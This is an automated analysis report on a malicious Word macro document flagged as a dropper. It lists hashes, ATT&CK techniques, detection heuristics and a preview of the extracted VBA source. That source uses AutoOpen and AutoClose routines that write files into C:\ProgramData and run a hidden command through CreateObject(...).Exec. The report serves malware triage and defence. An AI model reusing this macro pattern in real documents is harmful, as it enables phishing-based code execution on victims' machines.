Office (OOXML) malware analysis — malicious · 37a4488c88924394

MALICIOUS

Office (OOXML)

381.2 KB Created: 2020-08-11 10:03:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07

MD5: 3d52b1e551984e203f02d9dcbd8e7e8b SHA-1: 369dbac4370c025651892ce036dbfd82fbbb4ef2 SHA-256: 37a4488c88924394c225a530ace9dc09a4507d913bea46c49ce14ff43b40f6b8

238 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros, specifically triggering AutoOpen and AutoClose events. The AutoOpen macro attempts to write data to files in C:\ProgramData\Kerpok and C:\ProgramData\Portes, suggesting it is preparing to download and execute a second-stage payload. The ClamAV detection of 'Doc.Dropper.Sdrop-9764266-0' further supports its role as a dropper.

Heuristics 7

ClamAV: Doc.Dropper.Sdrop-9764266-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Sdrop-9764266-0
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Set Hateriklahtduehhdfegtr = CreateObject(ijfuihifuifhuiuifggfyi.Caption)
Hateriklahtduehhdfegtr.Exec Bikoter.DefaultTargetFrame

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Private Hateriklahtduehhdfegtr
Sub autoopen()
```
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
End Sub
Sub autoclose()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	4186 bytes
SHA-256: `c6d81a1059189e9e79518c7380027830bbdde54ca936c9fab8af479ad0a6e62c`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Bikoter" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Montag" Private Hateriklahtduehhdfegtr Sub autoopen() Open "C:\ProgramData\Kerpok" & ijfuihifuifhuiuifggfyi.Tag For Binary As #1 Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Put #1, , " " Close #1 Application.Quit SaveChanges:=False End Sub Sub autoclose() Open "C:\ProgramData\Portes" & ijfuihifuifhuiuifggfyi.Tag For Binary As #1 Put #1, , " '7568967 735241 " Put #1, , " '124235 4686796 '235423523 " Put #1, , " '9789789 '679679679 " Put #1, , " '7568967735241 " Put #1, , " '1242354686796 '235423523 " Put #1, , " '9789789 '679679679 " Put #1, , " '7568967735241 " Put #1, , " '1242354686796 '235423523 " Put #1, , " '9789789 '679679679 " Put #1, , " '756896 7735241 " Put #1, , " '1242354686796 '235423523 " Put #1, , " '9789789 '679679679 " Put #1, , " '7568967735241 " Put #1, , " '12423546 86796 '235423523 " Put #1, , " '97897895 '679679679 " Put #1, , ijfuihifuifhuiuifggfyi.jnfddnfdfdfusdhfshfgfh.Caption Close #1 Set Hateriklahtduehhdfegtr = CreateObject(ijfuihifuifhuiuifggfyi.Caption) Hateriklahtduehhdfegtr.Exec Bikoter.DefaultTargetFrame End Sub Attribute VB_Name = "ijfuihifuifhuiuifggfyi" Attribute VB_Base = "0{516971D7-79FA-4D32-8D9C-546BC29371F8}{51B7ECD6-1ECD-4983-BBA4-0CCF5418A372}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	163328 bytes
SHA-256: `a27de937a573b94ba872101c2b8b467f936d2a5af443f0860bd983c0541190df`
Detection ClamAV: Doc.Dropper.Sdrop-9764266-0 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.